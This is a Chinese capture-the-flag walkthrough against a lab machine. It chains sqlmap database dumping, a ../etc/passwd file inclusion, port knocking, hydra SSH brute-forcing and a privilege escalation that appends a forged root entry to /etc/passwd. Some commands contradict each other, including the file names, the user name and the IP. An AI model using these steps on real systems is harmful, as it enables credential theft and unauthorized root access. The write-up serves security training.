这是第二台靶机。
常规信息收集,不再赘述。

22端口的状态时 filtered (被过滤的,不能确定是否开放)。访问页面
发现search页面,猜测可能与数据库有交互,可能会产生SQL注入,sqlmap跑一下(在这之前,需要抓包判断一下请求方式)

post方式,还是result.php
页面(不是search.php
页面)
sqlmap -u http://192.168.221.142/results.php --data 'search=111' --dbs
果然存在注入,存在三个表。直接脱裤吧。
上流程
sqlmap -u http://192.168.221.142/results.php --data 'search=111' -D users --tables
查看users库有哪些表,有UserDetails
sqlmap -u http://192.168.221.142/results.php --data 'search=111' -D users -T UserDetails --columns
貌似,只有username和password字段对我们有用,直接dump
sqlmap -u http://192.168.221.142/results.php --data 'search=111' -D users -T UserDetails -C username,password --dump
这些都是用户貌似没有什么用,我们爆staff数据库,流程一样。
sqlmap -u http://192.168.221.142/results.php --data 'search=111' -D Staff -T Users -C Username,Password --dump
爆出admin用户密码,admin: transorbital1。直接登录
发现File does not exist
可能有文件包含漏洞。
验证一下
http://192.168.221.142/addrecord.php?file=../../../../etc/passwd
确实有。
之前nmap也没扫到22端口,可能是写了安全策略,查看一下/etc/knockd.conf
knockd主要是隐藏Linux服务器运行的服务,在基于Debian/Ubuntu/Ubuntu的服务器上,可以使用apt-get命令来安装knockd。下载完就可以配置。它位于“/etc/knockd.conf”。
加入knock是敲门的意思(它本来就是这个意思)。knockd就是应门的门童。Linux下的守护进程(Linux Daemon )常用XXXd来命名,比如apache的守护进程httpd,knockd就是knock的守护进程,所以服务器只有安装了knockd,才能正确的相应客户端的knock暗号。
整理一下
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842 # 打开ssh 22访问的三个操作端口 ;
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 # 关闭ssh 22访问的三个操作端口
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
tcpflags = syn
Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。
OpenSSH:该字段包括序列、序列超时、命令和tcp标志。
Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。
Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。
command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。
依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了。
使用7469/8475/9842队列号敲门登录
#因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842; do nmap -p $x 172.66.66.139; done
我们可以登录到ssh,到底哪些用户可以登录?我们用hydra进行爆破ssh
hydra -L username.txt -P password.txt 192.168.221.142 ssh -t 10
参数解释:-L:指定多个用户名,参数值为存储用户名的文件的路径
-P:指定多个密码,参数值为存贮密码的文件的路径
hydra支持很多协议:FTP,HTTPS,HTTP,SMTP,SSH,Telnet,VNC等都可以爆破。
-t:线程小一点,不然会有问题,有些不能爆破出来。
爆破结果:
我们ssh登录janitor账号,ls -alF
仔细检查各个文件。
查看passwords-found-on-post-it-notes.txt
,将这些新密码再次加入passwoed.txt再次hydra爆破。发现了一个新的许可用户。

ssh登录fredf,sudo -l
查看当前用户可以用 sudo 执行那些命令。发现test文件有root权限
切换到test目录看下,找下这个test.py
#使用find查找test.py文件
find / -name test.py 2>/dev/null
2>/dev/null #代表忽略掉错误提示信息
在/opt/devstuff目录下。
脚本含义:只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。
output = (f.read())
f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。
f.write(output) #写入内容
f.close() # 关闭
回到靶机,按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/a 里,再脚本追加写入 /etc/passwd 里。
写之前是不是得先生成一个加密后的密码呢? linux里有个 openssl,这是可以用来生成密码的。那么,linux /etc/passwd 是用什么加密方式的呢?MD5。
openssl passwd -1 -salt demo 123456 #构造demo用户密码为123456的hash
$1$demo$xekntTA6s45YvSg8erNIs.
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
语法格式: openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1:表示采用的是MD5加密算法。
-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
将生成的密码写进/tmp/demo.txt
echo 'dc:$1$demo$xekntTA6s45YvSg8erNIs.:0:0:root:/bin/bash' >> /tmp/demo.txt
sudo ./test /tmp/dc /etc/passwd #再写进密码中
su demo #切换到demo用户
此时,已经就是root权限。回到根目录下,拿到flag